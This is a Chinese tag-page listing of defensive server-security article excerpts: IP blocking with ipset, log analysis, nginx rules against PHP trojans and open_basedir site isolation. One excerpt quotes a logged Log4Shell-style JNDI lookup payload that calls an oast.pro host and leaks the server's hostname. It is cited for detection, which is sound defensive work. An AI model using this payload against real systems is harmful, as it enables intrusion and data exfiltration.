黑客

与“黑客”标签相关聚合资讯

  • Linux Centos7.X系统中，如何利用iptables和ipset屏蔽恶意ip访问？

    Linux Centos7.X系统中，如何利用iptables和ipset屏蔽恶意ip访问？

    IPSET重启会消失创建ipset(（hash:net包括ip段，hash:ip仅含单个ip)ipset create badlist hash:net删除ipsetipset destroy badlist指定ipset容量。默认可以存储65536个元素ipset create badlist hash:ip maxelem 10000003.加入一个ip或者IP段ipset add badlist 10.20.30.0/24ipset add badlist 183.46.194.1074.去除名

  • 与Interactsh检测漏洞工具相关的oast.pro日志特征及安全防范

    与Interactsh检测漏洞工具相关的oast.pro日志特征及安全防范

    一、经分析web服务器，出现以下日志：114.236.1.125 - [-] [2023-06-14T07:07:08+08:00] "[-] [www.a.com] GET /?x=${jndi:ldap://${:-957}${:-583}.${hostName}.uri.ci42e559mpo23m5krkj01uiiwd7tn7rby.oast.pro/a} HTTP/1.1" 200 [Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom

  • \x16\x03\x01\为漏洞试探或黑客攻击产生的日志吗？

    \x16\x03\x01\为漏洞试探或黑客攻击产生的日志吗？

    经分析nginx访问日志，偶尔会出现下列日志，该日志为请求路径非法产生的，大概率是漏洞试探或攻击代码，故可以将相关ip地址提取出来加以屏蔽。但同时也发现个别搜索引擎ip访问也存在极个别的非法访问，注意将其排除在封禁之外，以免误伤。170.64.164.2 - - [10/Apr/2023:02:13:56 +0800] "

  • 如何禁止特定目录下运行php木马文件？

    如何禁止特定目录下运行php木马文件？

    分析您网站哪些目录不需要运行php脚本文件，然后将其予以禁止，示范代码如下：#禁止特定目录下运行php脚本文件location ~* ^\/(uploadfile|style|statics)\/.*\.(php)$ {deny all;}

  • windows+nginx+php环境下，如何隔离网站防范黑客木马跨站攻击？

    windows+nginx+php环境下，如何隔离网站防范黑客木马跨站攻击？

    一、在php.ini中查找到;open_basedir =确保其前面有分号未启用。二、然后查找到user_ini.filename = ".user.ini"user_ini.cache_ttl = 300并将其前面的分号去掉让其生效。三、你要单独配置的网站根目录 创建 .user.ini文件，写入如下内容：open_basedir=/tmp/:/proc/:/you_web_path四、重启服务器核实是否生效。